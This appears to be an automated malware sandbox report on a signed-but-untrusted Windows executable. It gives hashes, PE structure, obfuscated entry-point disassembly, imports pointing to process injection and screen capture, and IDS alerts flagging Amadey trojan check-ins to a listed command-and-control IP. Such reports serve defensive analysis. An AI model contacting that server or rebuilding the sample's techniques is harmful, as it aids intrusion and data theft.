SHA512:	150711d55bd9b1157cc477e9791c3d43f8bd43b684383aa14df0382350dc3d4a8bae0de41d1d69c1c8b9709f0cbd92ccb8698fd26434b07eb76935987ef4ba22
SSDEEP:	98304:evijXqgHXT9Xo/9xOtLIfqFbco+g5f1JGkV7FbTe7:evol5Xo9xOrb3Rff99C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......`.................b...h........[...........@...........................o......WD...@................................

File Icon


Icon Hash:	c2599c82afe5e132

Static PE Info

General
Entrypoint:	0x9b97f1
Entrypoint Section:	MATR
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x60C7A0CE [Mon Jun 14 18:32:46 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	f8df424f905860bc01b3ba767a4c550e

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Yamaha Stagepas 1K
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	7/16/2021 10:42:50 AM 7/17/2031 10:42:50 AM
Subject Chain	CN=Yamaha Stagepas 1K
Version:	3
Thumbprint MD5:	0072379B559B5481A2BFBBB1E57569A9
Thumbprint SHA-1:	C215304C512CED999E849D9AB392F09151451AC7
Thumbprint SHA-256:	C78DA5DB6707761483C6A09CDF7EFD8DE92C2DD49B6540C38D78B699BED8F3E8
Serial:	4E6016BB18F8AC9C4C36A198BCCCC0EC

Entrypoint Preview

Instruction
push DD3B0E09h
call 00007FEE7C8EDDB5h
add al, 84h
mov al, byte ptr [44C8F708h]
mov ah, 6Dh
adc edx, ebp
and ebp, dword ptr [edi+4363AB6Dh]
jnle 00007FEE7C91DD14h
jmp 00007FEE7C91DD84h
inc edx
xchg eax, edx
push eax
retf
mov dl, 5Bh
xchg eax, edx
and dl, ah
dec eax
mov esp, 2840A96Dh
mov ch, 6Dh
add byte ptr [edx+6D924798h], dh
push ecx
add eax, AA556DCCh
dec edi
cmc
insd
iretd
test eax, E06B925Eh
stosd
push ebp
xchg eax, edx
and edx, esi
int3
dec esi
xchg eax, edx
xlatb
mov bl, ACh
sahf
insd
xor eax, edx
mov esp, dword ptr [ebx+5D7BA86Dh]
mov edx, 4A05CE6Dh
scasd
insd
mov esp, esp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x59f4d4	0x104	MATR
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6c8000	0x28a8f	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x442000	0x18a0	MATR
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6c7000	0x588	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x6c6690	0x40	MATR
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x65a000	0x450	MATR
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x26076	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x28000	0x82a4	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x31000	0x4544	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
MATR	0x36000	0x8e0	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
MATR	0x37000	0x8e0	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
MATR	0x38000	0x275177	0x0	unknown	unknown	unknown	unknown	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
MATR	0x2ae000	0x418830	0x418a00	unknown	unknown	unknown	unknown	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.reloc	0x6c7000	0x588	0x600	False	0.505859375	data	4.13494324226	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x6c8000	0x28a8f	0x28c00	False	0.436181940184	data	5.48195403239	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x6c8280	0x10828	dBase IV DBT, blocks size 0, block length 2048, next free block index 40, next free block 0, next used block 0
RT_ICON	0x6d8aa8	0x94a8	data
RT_ICON	0x6e1f50	0x5488	data
RT_ICON	0x6e73d8	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 4294967295, next used block 50331888
RT_ICON	0x6eb600	0x25a8	data
RT_ICON	0x6edba8	0x10a8	data
RT_ICON	0x6eec50	0x988	data
RT_ICON	0x6ef5d8	0x468	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x6efa40	0x76	data
RT_VERSION	0x6efab8	0x33c	data
RT_MANIFEST	0x6efdf4	0xc9b	XML 1.0 document, UTF-8 Unicode (with BOM) text	Malay	Brunei

Imports

DLL	Import
KERNEL32.dll	GetModuleHandleA, Sleep, GetLastError, GetFileAttributesA, CreateFileA, LoadLibraryA, CloseHandle, GetSystemInfo, CreateThread, HeapAlloc, GetThreadContext, GetProcAddress, ResumeThread, LocalFree, GetFileSize, ReadProcessMemory, GetProcessHeap, FreeLibrary, CreateProcessA, CreateDirectoryA, SetThreadContext, WriteConsoleW, SetEndOfFile, HeapReAlloc, HeapSize, GetTimeZoneInformation, GetComputerNameExW, SuspendThread, GetVersionExW, WaitForSingleObject, GetTempPathW, CreateMutexW, GetModuleFileNameW, VirtualAlloc, WriteFile, VirtualFree, HeapFree, WriteProcessMemory, GetModuleFileNameA, VirtualAllocEx, ReadFile, FlushFileBuffers, GetStringTypeW, SetEnvironmentVariableW, FreeEnvironmentStringsW, GetEnvironmentStringsW, WideCharToMultiByte, GetCPInfo, GetOEMCP, GetACP, IsValidCodePage, FindNextFileW, FindFirstFileExW, FindClose, ReadConsoleW, SetFilePointerEx, GetFileSizeEx, GetConsoleMode, GetConsoleCP, SetStdHandle, GetFullPathNameW, GetCurrentDirectoryW, DeleteFileW, DecodePointer, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, GetModuleHandleW, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, GetCurrentProcess, TerminateProcess, RaiseException, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, RtlUnwind, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, ExitProcess, GetModuleHandleExW, CreateFileW, GetDriveTypeW, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, GetStdHandle, GetCommandLineA, GetCommandLineW, MultiByteToWideChar, CompareStringW, LCMapStringW
USER32.dll	GetDC, GetSystemMetrics, ReleaseDC
GDI32.dll	CreateCompatibleBitmap, SelectObject, CreateCompatibleDC, DeleteObject, BitBlt
ADVAPI32.dll	RegQueryValueExA, RegOpenKeyExA, ConvertSidToStringSidW, GetUserNameW, LookupAccountNameW, RegCloseKey
SHELL32.dll	ShellExecuteA, ShellExecuteExW
WININET.dll	HttpOpenRequestA, InternetOpenUrlW, InternetWriteFile, InternetReadFile, InternetConnectA, HttpSendRequestA, InternetCloseHandle, InternetOpenA, InternetOpenUrlA, HttpSendRequestExW, HttpEndRequestW, InternetOpenW, HttpAddRequestHeadersA
gdiplus.dll	GdipSaveImageToFile, GdipGetImageEncodersSize, GdipDisposeImage, GdipCreateBitmapFromHBITMAP, GdipGetImageEncoders, GdiplusShutdown, GdiplusStartup
WTSAPI32.dll	WTSSendMessageW
KERNEL32.dll	VirtualQuery, GetSystemTimeAsFileTime, GetModuleHandleA, CreateEventA, GetModuleFileNameW, LoadLibraryA, TerminateProcess, GetCurrentProcess, CreateToolhelp32Snapshot, Thread32First, GetCurrentProcessId, GetCurrentThreadId, OpenThread, Thread32Next, CloseHandle, SuspendThread, ResumeThread, WriteProcessMemory, GetSystemInfo, VirtualAlloc, VirtualProtect, VirtualFree, GetProcessAffinityMask, SetProcessAffinityMask, GetCurrentThread, SetThreadAffinityMask, Sleep, FreeLibrary, GetTickCount, GlobalFree, GetProcAddress, LocalAlloc, LocalFree, ExitProcess, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSection, DeleteCriticalSection, GetModuleHandleW, LoadResource, MultiByteToWideChar, FindResourceExW, FindResourceExA, WideCharToMultiByte, GetThreadLocale, GetUserDefaultLCID, GetSystemDefaultLCID, EnumResourceNamesA, EnumResourceNamesW, EnumResourceLanguagesA, EnumResourceLanguagesW, EnumResourceTypesA, EnumResourceTypesW, CreateFileW, LoadLibraryW, GetLastError, FlushFileBuffers, CreateFileA, WriteConsoleW, GetConsoleOutputCP, WriteConsoleA, GetCommandLineA, RaiseException, RtlUnwind, HeapFree, GetCPInfo, InterlockedIncrement, InterlockedDecrement, GetACP, GetOEMCP, IsValidCodePage, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapAlloc, LCMapStringA, LCMapStringW, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, GetModuleFileNameA, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, HeapCreate, HeapDestroy, QueryPerformanceCounter, HeapReAlloc, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, HeapSize, WriteFile, SetFilePointer, GetConsoleCP, GetConsoleMode, InitializeCriticalSectionAndSpinCount, SetStdHandle
USER32.dll	GetUserObjectInformationW, CharUpperBuffW, MessageBoxW, GetProcessWindowStation
KERNEL32.dll	LocalAlloc, LocalFree, GetModuleFileNameW, GetProcessAffinityMask, SetProcessAffinityMask, SetThreadAffinityMask, Sleep, ExitProcess, FreeLibrary, LoadLibraryA, GetModuleHandleA, GetProcAddress
USER32.dll	GetProcessWindowStation, GetUserObjectInformationW

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2017
Assembly Version	1.0.0.0
InternalName	BinaryMethodCa.exe
FileVersion	1.0.0.0
CompanyName
LegalTrademarks
Comments
ProductName	SpellingBee
ProductVersion	1.0.0.0
FileDescription	SpellingBee
OriginalFilename	BinaryMethodCa.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
Malay	Brunei

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/19/21-18:35:20.181891	TCP	2027700	ET TROJAN Amadey CnC Check-In	49735	80	192.168.2.6	185.114.247.54
07/19/21-18:35:20.396341	TCP	2027700	ET TROJAN Amadey CnC Check-In	49735	80	192.168.2.6	185.114.247.54
07/19/21-18:35:52.887454	TCP	2027700	ET TROJAN Amadey CnC Check-In	49799	80	192.168.2.6	185.114.247.54
07/19/21-18:35:53.183993	TCP	2027700	ET TROJAN Amadey CnC Check-In	49801	80	192.168.2.6	185.114.247.54
07/19/21-18:35:53.487778	TCP	2027700	ET TROJAN Amadey CnC Check-In	49803	80	192.168.2.6	185.114.247.54
07/19/21-18:35:53.812917	TCP	2027700	ET TROJAN Amadey CnC Check-In	49805	80	192.168.2.6	185.114.247.54
07/19/21-18:35:54.112134	TCP	2027700	ET TROJAN Amadey CnC Check-In	49806	80	192.168.2.6	185.114.247.54
07/19/21-18:35:54.410927	TCP	2027700	ET TROJAN Amadey CnC Check-In	49807	80	192.168.2.6	185.114.247.54
07/19/21-18:35:54.734044	TCP	2027700	ET TROJAN Amadey CnC Check-In	49809	80	192.168.2.6	185.114.247.54
07/19/21-18:35:55.065558	TCP	2027700	ET TROJAN Amadey CnC Check-In	49810	80	192.168.2.6	185.114.247.54
07/19/21-18:35:55.640592	TCP	2027700	ET TROJAN Amadey CnC Check-In	49812	80	192.168.2.6	185.114.247.54
07/19/21-18:35:55.955214	TCP	2027700	ET TROJAN Amadey CnC Check-In	49814	80	192.168.2.6	185.114.247.54
07/19/21-18:35:56.265395	TCP	2027700	ET TROJAN Amadey CnC Check-In	49816	80	192.168.2.6	185.114.247.54
07/19/21-18:35:56.577781	TCP	2027700	ET TROJAN Amadey CnC Check-In	49818	80	192.168.2.6	185.114.247.54
07/19/21-18:35:56.871647	TCP	2027700	ET TROJAN Amadey CnC Check-In	49820	80	192.168.2.6	185.114.247.54
07/19/21-18:35:57.152797	TCP	2027700	ET TROJAN Amadey CnC Check-In	49821	80	192.168.2.6	185.114.247.54
07/19/21-18:35:57.454589	TCP	2027700	ET TROJAN Amadey CnC Check-In	49822	80	192.168.2.6	185.114.247.54
07/19/21-18:35:57.763140	TCP	2027700	ET TROJAN Amadey CnC Check-In	49824	80	192.168.2.6	185.114.247.54
07/19/21-18:35:58.080880	TCP	2027700	ET TROJAN Amadey CnC Check-In	49825	80	192.168.2.6	185.114.247.54
07/19/21-18:35:58.369877	TCP	2027700	ET TROJAN Amadey CnC Check-In	49827	80	192.168.2.6	185.114.247.54
07/19/21-18:35:58.684657	TCP	2027700	ET TROJAN Amadey CnC Check-In	49829	80	192.168.2.6	185.114.247.54
07/19/21-18:35:58.993801	TCP	2027700	ET TROJAN Amadey CnC Check-In	49830	80	192.168.2.6	185.114.247.54
07/19/21-18:35:59.308027	TCP	2027700	ET TROJAN Amadey CnC Check-In	49831	80	192.168.2.6	185.114.247.54
07/19/21-18:35:59.620793	TCP	2027700	ET TROJAN Amadey CnC Check-In	49833	80	192.168.2.6	185.114.247.54
07/19/21-18:35:59.927265	TCP	2027700	ET TROJAN Amadey CnC Check-In	49834	80	192.168.2.6	185.114.247.54
07/19/21-18:36:00.214789	TCP	2027700	ET TROJAN Amadey CnC Check-In	49836	80	192.168.2.6	185.114.247.54
07/19/21-18:36:00.650293	TCP	100000122	COMMUNITY WEB-MISC mod_jrun overflow attempt	49837	80	192.168.2.6	185.114.247.54
07/19/21-18:36:00.430594	TCP	2027700	ET TROJAN Amadey CnC Check-In	49835	80	192.168.2.6	185.114.247.54
07/19/21-18:36:00.878233	TCP	2027700	ET TROJAN Amadey CnC Check-In	49842	80	192.168.2.6	185.114.247.54
07/19/21-18:36:01.162956	TCP	2027700	ET TROJAN Amadey CnC Check-In	49844	80	192.168.2.6	185.114.247.54
07/19/21-18:36:01.471289	TCP	2027700	ET TROJAN Amadey CnC Check-In	49845	80	192.168.2.6	185.114.247.54
07/19/21-18:36:01.766417	TCP	2027700	ET TROJAN Amadey CnC Check-In	49846	80	192.168.2.6	185.114.247.54
07/19/21-18:36:02.062009	TCP	2027700	ET TROJAN Amadey CnC Check-In	49848	80	192.168.2.6	185.114.247.54
07/19/21-18:36:02.352773	TCP	2027700	ET TROJAN Amadey CnC Check-In	49849	80	192.168.2.6	185.114.247.54
07/19/21-18:36:02.670572	TCP	2027700	ET TROJAN Amadey CnC Check-In	49850	80	192.168.2.6	185.114.247.54
07/19/21-18:36:02.990435	TCP	2027700	ET TROJAN Amadey CnC Check-In	49851	80	192.168.2.6	185.114.247.54
07/19/21-18:36:03.290470	TCP	2027700	ET TROJAN Amadey CnC Check-In	49853	80	192.168.2.6	185.114.247.54
07/19/21-18:36:03.613110	TCP	2027700	ET TROJAN Amadey CnC Check-In	49854	80	192.168.2.6	185.114.247.54
07/19/21-18:36:04.228657	TCP	2027700	ET TROJAN Amadey CnC Check-In	49856	80	192.168.2.6	185.114.247.54
07/19/21-18:36:04.519926	TCP	2027700	ET TROJAN Amadey CnC Check-In	49857	80	192.168.2.6	185.114.247.54
07/19/21-18:36:04.835188	TCP	2027700	ET TROJAN Amadey CnC Check-In	49858	80	192.168.2.6	185.114.247.54
07/19/21-18:36:05.148149	TCP	2027700	ET TROJAN Amadey CnC Check-In	49860	80	192.168.2.6	185.114.247.54
07/19/21-18:36:05.453287	TCP	2027700	ET TROJAN Amadey CnC Check-In	49861	80	192.168.2.6	185.114.247.54
07/19/21-18:36:05.735396	TCP	2027700	ET TROJAN Amadey CnC Check-In	49863	80	192.168.2.6	185.114.247.54
07/19/21-18:36:06.015862	TCP	2027700	ET TROJAN Amadey CnC Check-In	49864	80	192.168.2.6	185.114.247.54
07/19/21-18:36:06.314885	TCP	2027700	ET TROJAN Amadey CnC Check-In	49865	80	192.168.2.6	185.114.247.54
07/19/21-18:36:06.509829	TCP	2027700	ET TROJAN Amadey CnC Check-In	49864	80	192.168.2.6	185.114.247.54
07/19/21-18:36:06.793800	TCP	2027700	ET TROJAN Amadey CnC Check-In	49867	80	192.168.2.6	185.114.247.54
07/19/21-18:36:07.079949	TCP	2027700	ET TROJAN Amadey CnC Check-In	49868	80	192.168.2.6	185.114.247.54
07/19/21-18:36:07.376141	TCP	2027700	ET TROJAN Amadey CnC Check-In	49869	80	192.168.2.6	185.114.247.54
07/19/21-18:36:07.687336	TCP	2027700	ET TROJAN Amadey CnC Check-In	49871	80	192.168.2.6	185.114.247.54
07/19/21-18:36:08.248560	TCP	2027700	ET TROJAN Amadey CnC Check-In	49872	80	192.168.2.6	185.114.247.54
07/19/21-18:36:08.553106	TCP	2027700	ET TROJAN Amadey CnC Check-In	49874	80	192.168.2.6	185.114.247.54
07/19/21-18:36:08.866491	TCP	2027700	ET TROJAN Amadey CnC Check-In	49875	80	192.168.2.6	185.114.247.54
07/19/21-18:36:09.182748	TCP	2027700	ET TROJAN Amadey CnC Check-In	49877	80	192.168.2.6	185.114.247.54
07/19/21-18:36:09.842003	TCP	2027700	ET TROJAN Amadey CnC Check-In	49878	80	192.168.2.6	185.114.247.54
07/19/21-18:36:11.312097	TCP	2027700	ET TROJAN Amadey CnC Check-In	49880	80	192.168.2.6	185.114.247.54
07/19/21-18:36:11.624319	TCP	2027700	ET TROJAN Amadey CnC Check-In	49881	80	192.168.2.6	185.114.247.54
07/19/21-18:36:11.928858	TCP	2027700	ET TROJAN Amadey CnC Check-In	49883	80	192.168.2.6	185.114.247.54
07/19/21-18:36:12.605685	TCP	2027700	ET TROJAN Amadey CnC Check-In	49884	80	192.168.2.6	185.114.247.54
07/19/21-18:36:12.889004	TCP	2027700	ET TROJAN Amadey CnC Check-In	49886	80	192.168.2.6	185.114.247.54
07/19/21-18:36:13.158268	TCP	2027700	ET TROJAN Amadey CnC Check-In	49887	80	192.168.2.6	185.114.247.54
07/19/21-18:36:13.454369	TCP	2027700	ET TROJAN Amadey CnC Check-In	49889	80	192.168.2.6	185.114.247.54
07/19/21-18:36:13.733557	TCP	2027700	ET TROJAN Amadey CnC Check-In	49890	80	192.168.2.6	185.114.247.54
07/19/21-18:36:14.013472	TCP	2027700	ET TROJAN Amadey CnC Check-In	49891	80	192.168.2.6	185.114.247.54
07/19/21-18:36:14.300494	TCP	2027700	ET TROJAN Amadey CnC Check-In	49893	80	192.168.2.6	185.114.247.54
07/19/21-18:36:14.579774	TCP	2027700	ET TROJAN Amadey CnC Check-In	49894	80	192.168.2.6	185.114.247.54
07/19/21-18:36:14.840437	TCP	2027700	ET TROJAN Amadey CnC Check-In	49896	80	192.168.2.6	185.114.247.54
07/19/21-18:36:15.142886	TCP	2027700	ET TROJAN Amadey CnC Check-In	49897	80	192.168.2.6	185.114.247.54
07/19/21-18:36:15.447573	TCP	2027700	ET TROJAN Amadey CnC Check-In	49898	80	192.168.2.6	185.114.247.54
07/19/21-18:36:15.735076	TCP	2027700	ET TROJAN Amadey CnC Check-In	49900	80	192.168.2.6	185.114.247.54
07/19/21-18:36:16.026167	TCP	2027700	ET TROJAN Amadey CnC Check-In	49901	80	192.168.2.6	185.114.247.54
07/19/21-18:36:16.316184	TCP	2027700	ET TROJAN Amadey CnC Check-In	49903	80	192.168.2.6	185.114.247.54
07/19/21-18:36:16.592422	TCP	2027700	ET TROJAN Amadey CnC Check-In	49905	80	192.168.2.6	185.114.247.54
07/19/21-18:36:16.877032	TCP	2027700	ET TROJAN Amadey CnC Check-In	49906	80	192.168.2.6	185.114.247.54
07/19/21-18:36:17.191904	TCP	2027700	ET TROJAN Amadey CnC Check-In	49908	80	192.168.2.6	185.114.247.54
07/19/21-18:36:17.518181	TCP	2027700	ET TROJAN Amadey CnC Check-In	49909	80	192.168.2.6	185.114.247.54
07/19/21-18:36:17.795788	TCP	2027700	ET TROJAN Amadey CnC Check-In	49911	80	192.168.2.6	185.114.247.54
07/19/21-18:36:18.082924	TCP	2027700	ET TROJAN Amadey CnC Check-In	49912	80	192.168.2.6	185.114.247.54
07/19/21-18:36:18.405796	TCP	2027700	ET TROJAN Amadey CnC Check-In	49914	80	192.168.2.6	185.114.247.54
07/19/21-18:36:18.723759	TCP	2027700	ET TROJAN Amadey CnC Check-In	49915	80	192.168.2.6	185.114.247.54
07/19/21-18:36:19.015004	TCP	2027700	ET TROJAN Amadey CnC Check-In	49917	80	192.168.2.6	185.114.247.54
07/19/21-18:36:19.302486	TCP	2027700	ET TROJAN Amadey CnC Check-In	49918	80	192.168.2.6	185.114.247.54
07/19/21-18:36:19.615285	TCP	2027700	ET TROJAN Amadey CnC Check-In	49920	80	192.168.2.6	185.114.247.54
07/19/21-18:36:19.919333	TCP	2027700	ET TROJAN Amadey CnC Check-In	49921	80	192.168.2.6	185.114.247.54
07/19/21-18:36:20.202943	TCP	2027700	ET TROJAN Amadey CnC Check-In	49922	80	192.168.2.6	185.114.247.54
07/19/21-18:36:20.483655	TCP	2027700	ET TROJAN Amadey CnC Check-In	49924	80	192.168.2.6	185.114.247.54
07/19/21-18:36:20.767954	TCP	2027700	ET TROJAN Amadey CnC Check-In	49925	80	192.168.2.6	185.114.247.54
07/19/21-18:36:21.049942	TCP	2027700	ET TROJAN Amadey CnC Check-In	49927	80	192.168.2.6	185.114.247.54
07/19/21-18:36:21.361298	TCP	2027700	ET TROJAN Amadey CnC Check-In	49929	80	192.168.2.6	185.114.247.54
07/19/21-18:36:21.674552	TCP	2027700	ET TROJAN Amadey CnC Check-In	49930	80	192.168.2.6	185.114.247.54
07/19/21-18:36:22.262822	TCP	2027700	ET TROJAN Amadey CnC Check-In	49931	80	192.168.2.6	185.114.247.54
07/19/21-18:36:22.551334	TCP	2027700	ET TROJAN Amadey CnC Check-In	49933	80	192.168.2.6	185.114.247.54
07/19/21-18:36:22.838465	TCP	2027700	ET TROJAN Amadey CnC Check-In	49934	80	192.168.2.6	185.114.247.54
07/19/21-18:36:23.458228	TCP	2027700	ET TROJAN Amadey CnC Check-In	49935	80	192.168.2.6	185.114.247.54
07/19/21-18:36:23.742993	TCP	2027700	ET TROJAN Amadey CnC Check-In	49936	80	192.168.2.6	185.114.247.54
07/19/21-18:36:24.032227	TCP	2027700	ET TROJAN Amadey CnC Check-In	49938	80	192.168.2.6	185.114.247.54
07/19/21-18:36:24.321002	TCP	2027700	ET TROJAN Amadey CnC Check-In	49939	80	192.168.2.6	185.114.247.54
07/19/21-18:36:24.658784	TCP	2027700	ET TROJAN Amadey CnC Check-In	49941	80	192.168.2.6	185.114.247.54
07/19/21-18:36:24.943338	TCP	2027700	ET TROJAN Amadey CnC Check-In	49942	80	192.168.2.6	185.114.247.54
07/19/21-18:36:25.240525	TCP	2027700	ET TROJAN Amadey CnC Check-In	49944	80	192.168.2.6	185.114.247.54
07/19/21-18:36:25.528410	TCP	2027700	ET TROJAN Amadey CnC Check-In	49945	80	192.168.2.6	185.114.247.54
07/19/21-18:36:25.824754	TCP	2027700	ET TROJAN Amadey CnC Check-In	49946	80	192.168.2.6	185.114.247.54
07/19/21-18:36:26.821399	TCP	2027700	ET TROJAN Amadey CnC Check-In	49948	80	192.168.2.6	185.114.247.54
07/19/21-18:36:27.124100	TCP	2027700	ET TROJAN Amadey CnC Check-In	49950	80	192.168.2.6	185.114.247.54
07/19/21-18:36:27.404615	TCP	2027700	ET TROJAN Amadey CnC Check-In	49951	80	192.168.2.6	185.114.247.54
07/19/21-18:36:27.705211	TCP	2027700	ET TROJAN Amadey CnC Check-In	49953	80	192.168.2.6	185.114.247.54
07/19/21-18:36:28.023588	TCP	2027700	ET TROJAN Amadey CnC Check-In	49955	80	192.168.2.6	185.114.247.54
07/19/21-18:36:28.333405	TCP	2027700	ET TROJAN Amadey CnC Check-In	49957	80	192.168.2.6	185.114.247.54
07/19/21-18:36:28.628246	TCP	2027700	ET TROJAN Amadey CnC Check-In	49958	80	192.168.2.6	185.114.247.54
07/19/21-18:36:28.949794	TCP	2027700	ET TROJAN Amadey CnC Check-In	49960	80	192.168.2.6	185.114.247.54
07/19/21-18:36:29.250161	TCP	2027700	ET TROJAN Amadey CnC Check-In	49962	80	192.168.2.6	185.114.247.54
07/19/21-18:36:29.813614	TCP	2027700	ET TROJAN Amadey CnC Check-In	49965	80	192.168.2.6	185.114.247.54
07/19/21-18:36:30.115811	TCP	2027700	ET TROJAN Amadey CnC Check-In	49966	80	192.168.2.6	185.114.247.54
07/19/21-18:36:30.409934	TCP	2027700	ET TROJAN Amadey CnC Check-In	49968	80	192.168.2.6	185.114.247.54
07/19/21-18:36:30.717790	TCP	2027700	ET TROJAN Amadey CnC Check-In	49969	80	192.168.2.6	185.114.247.54
07/19/21-18:36:31.002682	TCP	2027700	ET TROJAN Amadey CnC Check-In	49971	80	192.168.2.6	185.114.247.54
07/19/21-18:36:31.318092	TCP	2027700	ET TROJAN Amadey CnC Check-In	49973	80	192.168.2.6	185.114.247.54
07/19/21-18:36:31.629484	TCP	2027700	ET TROJAN Amadey CnC Check-In	49975	80	192.168.2.6	185.114.247.54
07/19/21-18:36:31.909344	TCP	2027700	ET TROJAN Amadey CnC Check-In	49976	80	192.168.2.6	185.114.247.54
07/19/21-18:36:32.565990	TCP	2027700	ET TROJAN Amadey CnC Check-In	49977	80	192.168.2.6	185.114.247.54
07/19/21-18:36:32.761984	TCP	2027700	ET TROJAN Amadey CnC Check-In	49976	80	192.168.2.6	185.114.247.54
07/19/21-18:36:33.068345	TCP	2027700	ET TROJAN Amadey CnC Check-In	49980	80	192.168.2.6	185.114.247.54
07/19/21-18:36:33.371328	TCP	2027700	ET TROJAN Amadey CnC Check-In	49981	80	192.168.2.6	185.114.247.54
07/19/21-18:36:33.641141	TCP	2027700	ET TROJAN Amadey CnC Check-In	49983	80	192.168.2.6	185.114.247.54
07/19/21-18:36:33.923574	TCP	2027700	ET TROJAN Amadey CnC Check-In	49984	80	192.168.2.6	185.114.247.54
07/19/21-18:36:34.264461	TCP	2027700	ET TROJAN Amadey CnC Check-In	49986	80	192.168.2.6	185.114.247.54
07/19/21-18:36:34.551185	TCP	2027700	ET TROJAN Amadey CnC Check-In	49987	80	192.168.2.6	185.114.247.54
07/19/21-18:36:34.833016	TCP	2027700	ET TROJAN Amadey CnC Check-In	49988	80	192.168.2.6	185.114.247.54
07/19/21-18:36:35.125010	TCP	2027700	ET TROJAN Amadey CnC Check-In	49989	80	192.168.2.6	185.114.247.54
07/19/21-18:36:35.410619	TCP	2027700	ET TROJAN Amadey CnC Check-In	49991	80	192.168.2.6	185.114.247.54
07/19/21-18:36:35.692145	TCP	2027700	ET TROJAN Amadey CnC Check-In	49992	80	192.168.2.6	185.114.247.54
07/19/21-18:36:35.986108	TCP	2027700	ET TROJAN Amadey CnC Check-In	49994	80	192.168.2.6	185.114.247.54
07/19/21-18:36:36.297692	TCP	2027700	ET TROJAN Amadey CnC Check-In	49995	80	192.168.2.6	185.114.247.54
07/19/21-18:36:36.615691	TCP	2027700	ET TROJAN Amadey CnC Check-In	49996	80	192.168.2.6	185.114.247.54
07/19/21-18:36:36.907157	TCP	2027700	ET TROJAN Amadey CnC Check-In	49998	80	192.168.2.6	185.114.247.54
07/19/21-18:36:37.220435	TCP	2027700	ET TROJAN Amadey CnC Check-In	49999	80	192.168.2.6	185.114.247.54
07/19/21-18:36:37.508764	TCP	2027700	ET TROJAN Amadey CnC Check-In	50001	80	192.168.2.6	185.114.247.54
07/19/21-18:36:37.809951	TCP	2027700	ET TROJAN Amadey CnC Check-In	50002	80	192.168.2.6	185.114.247.54
07/19/21-18:36:38.078450	TCP	2027700	ET TROJAN Amadey CnC Check-In	50003	80	192.168.2.6	185.114.247.54
